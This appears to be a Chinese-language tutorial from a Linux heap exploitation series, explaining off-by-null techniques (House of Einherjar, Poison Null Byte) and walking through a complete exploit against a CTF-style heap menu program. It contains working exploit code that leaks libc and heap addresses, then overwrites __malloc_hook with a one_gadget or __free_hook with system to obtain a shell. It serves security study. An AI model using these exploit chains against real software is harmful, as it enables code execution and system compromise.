从零开始的Linux堆利用11 -- Off-By-Null

Off-By-Null

Off By Null和Off By One差别在于只能溢出一个Null Byte而不是一个可控的字符

相比之下难度更大一些,这一节主要是两个利用Off by Null漏洞的方法

  • House of Einherjar思路是清除一个申请了的chunk的prev_inuse位,之后在free的时候触发consolidate使得前一个chunk存在两个指针;

  • Google Posion Null Byte则是针对free掉了的chunk,通过修改free chunk的大小,使被溢出的chunk被再次申请时错误更新prev_inuse位,最终free后一个chunk时触发consolidate。

House of Einherjar

可以malloc三次smallbin,溢出一个Null byte

构造一个chunk_B大小0x100,清掉prev_inuse位,伪造一个prev_sizeuser的位置

user里面把fd、bk都设置成自己绕过safe unlink检查

username = p64(0) + p64(0x91) + p64(elf.sym.user) + p64(elf.sym.user)

chunk_A = malloc(0x88)
chunk_B = malloc(0xf8)

edit(chunk_A, p64(0)*16+p64(heap-elf.sym.user+0x90))

# consolidate
free(chunk_B)

这样在free的时候提示了一个错误 corrupted size vs. prev_size

image-20211126213304064

这部分比较的具体内容是这里

chunksize(P)!=prev_size(next_chunk(P))

也就是在user处伪造的chunk size 0x91和

从0x91这个chunk找到下一个chunk,看这个chunk的prev_inuse字段

发现这两个值不相等

一个简单的绕过方法就是将伪造的这个值设置为8,这样通过prev_size(next_chunk(P))找到的也是这个8本身,就发现两者相等

image-20211126213632590

虽然这个值不是一个有效的chunk size,但是可以这样绕过

接下来free(chunk_B)时发生consolidate,直接从Top chunk合并到user这里

image-20211126213820733

因为top chunk都到这里了,接下来直接申请一个新的chunk就可以修改下面的target了

Posion Null Byte

前面的思路是消除一个已经申请了的chunk的prev_inuse

然后利用consolidate得到一个dup的指针

而Off By Null还有一种针对已经free掉的chunk的利用方法,最初是2014年时glibc中被爆出一个堆上的off by null漏洞,google project zero的一个人利用这个漏洞获取到了代码执行的权限,后续又在实际的程序上进行了利用(pkexec)

这里有三个链接可以参考一下;

原理

举例说明的话,首先申请三个chunk

image-20211209144048031

头尾不重要,中间的chunk假设大小是0x210,将其free掉之后可以得到图中左边的状态

这时利用Null Byte的溢出修改这个chunk的大小为0x200,但是chunk_C处的prev_size是没有变化的

接下来申请两次0x100,这里会触发之前介绍过的remaindering,分割成了两个0x100的chunk

image-20211209151342001

但是由于chunk_B的大小被溢出改成了0x200,chunk_C的prev_inuse并没有被设置为1

而是更新到了B2和C之间的0x10字节上

这时执行free(chunk_C),由于C的prev_inuse是0,并且prev_size是0x210

会直接将C和B1、B2合并(consolidate)全部free

这时再次申请的内容就会与chunk_B1、chunk_B2发生重叠

image-20211209150251569

这样就可以得到一个overlap的指针,而有了overlap的指针就可以进一步实施unsortedbin attack、fastbin attack等等

实践

image-20211209124512191

这个文件的保护机制全部都是打开的状态

堆菜单的功能有malloceditfreeread

但是这个程序没有泄漏出堆地址和libc的地址

栈上保存着一个变量m_array,用于存储堆申请chunk的相关信息

每一项有两个8字节组成,user_data是申请空间的地址,request_size是申请的大小

image-20211209125919505

漏洞在于edit函数中

image-20211209130229087

这里在执行时首先直接读取申请大小的内容到user_data

tmp = read(0, m_array[na].user_data, m_array[na].request_size)

read的返回结果为成功写入的字节

m_array[na].user_data[tmp]=0

之后这样一个操作在写入的内容后面又加入一个0

这一个字节也就是溢出的一个Null字节

按照上面介绍的原理直接写一下exploit

chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)

free(chunk_B)
edit(chunk_A,"a"*0x88)

chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)

free(chunk_C)

但是这样运行会看到一个熟悉的错误

image-20211209152315281

unlink时出现错误,原因就是chunk_B在safe unlink时bk->fd==p && fd->bk==p这个条件不满足

在以往的程序中要绕过也很容易,只需要将chunk_B1的fd、bk都设置为自身,就可以通过这个判断;

但是这样的前提是程序存在一个堆的地址泄漏

这里可以使用的方法是将B1释放,让它真的是一个unsortedbin,这样就可以通过unlink的条件

image-20211209154215937

overlap的chunk还有B2,也可以用于进一步的攻击

chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)

free(chunk_B)
edit(chunk_A,"a"*0x88)

chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)

free(chunk_B1)
free(chunk_C)

执行exploit可以看到触发了consolidate,chunk_B和C合并后放到了unsortedbin中

image-20211209154503315

其中绿色是chunk_B1,蓝色是chunk_B2,红色是chunk_C

目前chunk_B2的指针还是可用的,接下来先利用unsortedbin leak得到libc的地址和堆地址

libc的地址可以通过再次申请B1,触发remaindering之后填在B2的fd和bk处

而堆地址的话,则可以通过释放chunk_A,将chunk_A也加入到unsortedbin中

这样更新fd、bk时会在B2的fd写入main_arena中的地址,bk写入chunk_A的地址;

image-20211209162148870

就可以一次读获取到两个leak

chunk_B1 = malloc(0xf8)
free(chunk_A)

data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])

有了libc的地址,最后利用fastbin attack修改malloc_hook就可以拿到shell了

chunk_A = malloc(0x88)
fast = malloc(0x68)
free(fast)

edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
fast = malloc(0x68)

target = malloc(0x68)
edit(target, b'a'*0x13+p64(libc.address+one_gadget))

首先把chunk_A申请回来

然后申请一个大小为0x68的chunk,这个chunk和B_2是同一个指针

将其free掉加入到fastbin中

执行fastbin attack将malloc_hook修改为one_gadget

但是执行之后会发现libc的几个one_gadget都没办法执行

接下来就有两个思路

利用realloc调整栈

在这里下一个断点调试一下b *__malloc_hook

image-20211209181740399

三个one_gadget需要满足的条件依次为:

  • rax==NULL
  • [rsp+0x30]==NULL
  • [rsp+0x50]==NULL

而运行到这里时,栈的情况为

image-20211209181923401

这两个条件都不满足,同时rax的值也不是0

但是可以注意到0x50的位置虽然不是0,但是0x58的位置是0

如果能够想办法让这个0在0x50处就好了。

这里涉及到一种调整栈的方法,利用realloc_hook调整栈

realloc_hook就在malloc_hook的前面,因此利用fastbin attack也是可以覆盖这个位置的

realloc函数开始位置首先有一系列push,之后执行realloc_hook

image-20211128135341556

malloc_hook填为realloc的地址加一个偏移(这样减少push的数量达到调整栈的目的)

realloc_hook填为目标的one_gadget

这样触发时首先执行malloc_hookrealloc加偏移,之后执行realloc_hook即one_gadget

那么首先我们修改一下exploit的最后一行

edit(target, b'a'*0xb+p64(libc.address+one_gadget)+p64(libc.sym.realloc+2))

要使0x58的0到0x50处,只需要少push一个值即可

所以在malloc_hook处填写为realloc+2的地址

image-20211209182836478

再运行一下可以看到这里0x50就已经是0了,满足了one_gadget的条件

最后的exploit

chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)

free(chunk_B)
edit(chunk_A,"a"*0x88)
# 溢出一个Null Byte

chunk_B1 = malloc(0xf8)
# renmaindering
chunk_B2 = malloc(0xf8)


free(chunk_B1)
# 将B1加入到unsortedbin,从而绕过safe unlink
free(chunk_C)
# 触发consolidate,B、C的空间都加入到unsortedbin

chunk_B1 = malloc(0xf8)
free(chunk_A)
# 将B2的fd、bk变成libc的泄漏地址和堆的泄漏地址

data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])
# 计算得到堆地址和libc地址

chunk_A = malloc(0x88)
# 申请回来chunk_A
fast = malloc(0x68)
free(fast)
# 将B2的位置释放为fastbin

edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
# 利用fastbin attack得到malloc_hook写能力
fast = malloc(0x68)

target = malloc(0x68)

one_gadget = 0xd6fb1
edit(target, b'a'*0xb + p64(libc.address+one_gadget) + p64(libc.sym.realloc+2))
# 利用realloc调整栈
修改free_hook

另一个思路就是,不再使用one_gadget

而是结合unsortedbin attack和fastbin attack

直接不再去修改__malloc_hook而是去改__free_hook

我们知道在gdb中使用find_fake_fast是找不到__free_hook附近可以伪造的地方的

那么可以使用unsortedbin attack在__free_hook附近写入一个main_arena中的值

因为main_arena中的值都是以0x7f开头的,写入这个值之后就可以再使用fastbin attack了

edit(chunk_B2, p64(libc.sym.__free_hook - 0x16) + b'A'*0x60 + p64(0x21) + p64(0) + p64(libc.sym.__free_hook - 0x23))

首先在B2中伪造一个unsortedbin chunk

将fastbin的fd指向free_hook

在fastbin之后伪造的unsortedbin中bk填为free_hook前的一个地址

image-20211209193613306

这样在unlink这个unsortedbin时会执行

p->bk->fd = p->bk;
p->fd->bk = p->fd;

这就使得free_hook-0x23+0x10的位置写入了一个main_arena中unsortedbin的地址

main_arena中unsortdebin的bk处写入的是free_hook-0x23的值

这时再执行find_fake_fast就可以找到可以伪造的chunk了

image-20211209194627443

这个位置是free_hook前0x16字节

所以我们修改fastbin的fd为这个地址,就可以申请下free_hook所在的空间

最后修改free_hooksystem并调用/bin/sh即可

edit(chunk_B2, p64(libc.sym.__free_hook - 0x16) + b'A'*0x60 + p64(0x21) + p64(0) + p64(libc.sym.__free_hook - 0x23))

malloc(0x18)
malloc(0x68)
target = malloc(0x68)

edit(target, b'a'*6+p64(libc.sym.system))
edit(chunk_D,'/bin/sh')
free(chunk_D)